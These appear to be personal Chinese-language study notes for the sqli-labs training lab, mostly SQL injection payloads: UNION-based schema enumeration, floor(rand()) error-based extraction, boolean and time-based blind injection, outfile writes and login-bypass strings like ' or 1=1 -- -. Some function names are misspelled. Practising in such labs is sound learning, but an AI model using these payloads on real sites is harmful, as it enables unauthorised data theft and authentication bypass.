Sqli labs学习笔记

Lesson01:

        字符型注入

               地址栏加上 ?id=5' and '1'='1 测试通过

                    地址栏加上 ?id=5'  （此处可加上恶意sql语句）--+ 测试通过（注释的方法）   

Lesson02:

        数字型注入

                id=5-2 返回和 id=3一样的结果，说明是数字型的注入

                     id=2 （此处可加上恶意sql语句） --+

PS: 有的sql查询语句会在后边加上limit（0，1），只返回第一条有效的查询结果，在这里我们可以通过设置前一个正常的id的值无效，来使得最终结果来返回我们构造的语句的返回值。

Lesson03:

            id=5 and 1=1
                id=5 and 1=2   没有什么变化       

                id=3'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

说明原来的sql的语句中有 ) ， 闭合的方法是再添加一个)

                利用： 1.  id=1') and  ('1'='1

                           2.  id=1')  sql语句   --+

Lesson04:

    基于双引号的字符型查询，和lesson03差不多

    1.order by 查询字段数

    2. database() 查询当前数据库名字

    3.user() 当前用户

    4. information_schema.tables   存放所有的表名 （mysql）

   5.union select 1,table_name,3   from information_schema.tables where table_schema='security'  limit 4,1 --+ 

    这个是查询数据库里边有哪些表，使用limit语句来显示返回第几个查询结果

    6.  union select 1,column_name,3   from information_schema.columns where table_name='users'  limit 2,1 --+     查询users表中，各个列的名字（字段名）

    7.union select 1,group_concat(column_name),3   from information_schema.columns where table_name='users' and table_schema="security"  --+  

    也可以这样，使用group_concat(column_name)来返回所有的字段名

Lesson05&06:

        基于错误的注入：

and ( select 1 from (select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b)--+

rand() 获取0-1之间的一个浮点随机数

floor() 取地板操作

group by 根据...分组

concat（） 字符串连接

count（） 计数函数 

1.

(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a 

这个表示给查询结果(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))

取一个别名a

2.

(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b

这个表示给查询结果(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)取一个别名b

3.

and ( select 1 from (select  count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables  where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b) --+

这一句就可以查询出数据表的名字....

lesson07:
   select * from Table into outfile '/路径/文件名'

Lesson08：

         基于bool的盲注：  

            substr(String , int x,  int y) 把字符串从x到y截取下来

            ascii( char )  返回assic码值

Lesson09&10：

         基于时间的盲注：   根据一些时间函数，来自控制结果的返回时间，以此来判断自己的推断是不是正确的，由于web界面的返回值始终是true，只能通过时间差来判断。

            sleep(n)  进程挂起n秒

            if(1,2,3)  如果1则2，否则3 

          and (select if(assic(substr(database(),1,1)) , sleep(5),NULL)  ) --+ 

 Lesson11&12：

get  post  注入

常用的“万能密码”:   ' or 1=1 -- -

                                   ') or 1=1  

                                    'or'='or'

         登录：  ' or 1=1 limit 0,1  #  密码随便输入就行

                          但是使用  --+ 来注释的时候不知道为啥 密码必须是 ' or 1=1 

lesson12    就是  （“input”） 这种类型的

 Lesson13&14：

                    基于错误的注入：

       lesson13               ‘） 注入语句#
 

mysql常见的系统函数及变量：

            user() 用户名 session_user() 连接数据库的用户名  database()数据库名   vsersion()版本

             curren_user 当前用户名   @@hostname主机名  @@port 端口  @@datadir 数据库路径

           @@basedir 安装路径  @@vsersion_compile_os 操作系统

Lesson15：

         1'  or  盲注

Lesson16：     

     盲注（时间）                     

       1"） or sleep(1)

       1"） or sleep(1)=0      （因为sleep函数的返回值是0）使用or的时候要注意

1.
select username,password from tables where id='input' limit 0,1
   ' and 1=1 --+
   
   
2.
select username,password from tables where id=input limit 0,1



3.
select username,password from tables where id=('input') limit 0,1


4.
select username,password from tables where id=("input") limit 0,1

5.
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )--+


6.
1" --+

9.
?id=2'  and sleep(5)--+

10.
?id=2"  and sleep(5)--+
?id=2"  and if(database()='security',sleep(5),NULL)--+


11.
uname=ain' union select 1,database() -- -&passwd=admin&submit=Submit


13.
输入的类型是('input')
uname=') and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )  -- -&passwd=admin&submit=Submit